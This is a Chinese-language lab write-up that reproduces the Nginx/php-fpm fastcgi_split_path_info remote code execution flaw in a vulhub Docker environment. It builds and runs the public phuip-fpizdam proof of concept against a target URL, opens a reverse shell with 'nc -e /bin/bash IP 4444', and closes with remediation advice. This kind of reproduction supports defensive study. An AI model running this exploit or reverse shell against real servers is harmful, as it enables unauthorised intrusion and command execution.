99

0x00 前言

漏洞源自前段时间的Real World CTF比赛,当Nginx使用特定的配置时,存在远程代码执行。

Nginx配置文件中fastcgi_split_path_info字段配置为^(.+?\.php)(/.*)$;时,攻击者通过构造的payload,造成远程代码执行漏洞,虽然不是默认配置,但此配置已被广泛运用,危害还是挺大的。。

影响版本:Nginx+php-fpm,服务器有如下配置,则存在此漏洞

location ~ [^/]\.php(/|$) {

fastcgi_split_path_info ^(.+?\.php)(/.*)$;

fastcgi_param PATH_INFO $fastcgi_path_info;

fastcgi_pass php:9000;

...

}

0x01 环境搭建

下载漏洞环境:
git clone https://github.com/vulhub/vulhub.git
切换到nginx漏洞目录
cd vulhub/php/CVE-2019-111043
启动环境:
docker-compose up -d

poc下载地址:
git clone https://github.com/neex/phuip-fpizdam.git


poc需要go环境编译,服务器安装go环境

下载go安装包
wget -c https://storage.googleapis.com/golang/go1.13.3.linux-amd64.tar.gz

解压到/usr/local
tar -C /usr/local/ -xzf go1.13.3.linux-amd64.tar.gz

编辑/etc/profile,在文件最后加上
export PATH=$PATH:/usr/local/go/bin

执行命令 source /etc/profile

0x02 漏洞复现

漏洞页面

环境搭建好后,使用go环境编译poc并运行

编译poc
go get github.com/neex/phuip-fpizdam

切换到bin目录
cd bin

执行poc
./phuip-fpizdam http://47.96.79.188:8080/index.php

出现Done说明远程代码执行成功。

攻击成功后,会在靶机的tmp目录下生成一个a文件

进入docker容器查看

切换docker容器
docker exec -ti ID /bin/bash

攻击成功!

可以执行命令

当前权限为网站权限,尝试反弹shell

nc -e /bin/bash IP 4444

接收反弹的命令
nc -lvp 4444

反弹成功

0x03 修复建议

1.修改nginx配置文件中fastcgi_split_path_info的正则表达式,不允许.php之后传入不可显字符

2.暂停使用 nginx+php-fpm 服务

根据实际生产环境的业务需求,将以下配置删除

fastcgi_split_path_info ^(.+?.php)(/.*)$;

fastcgi_param PATH_INFO $fastcgi_path_info;

0x04 总结

总体来说,没有遇见什么坑,因为有大佬们的缘故(贡献poc),漏洞利用难度不是很大,如果后面有exp出来。。感觉又是一波腥风血雨。。。。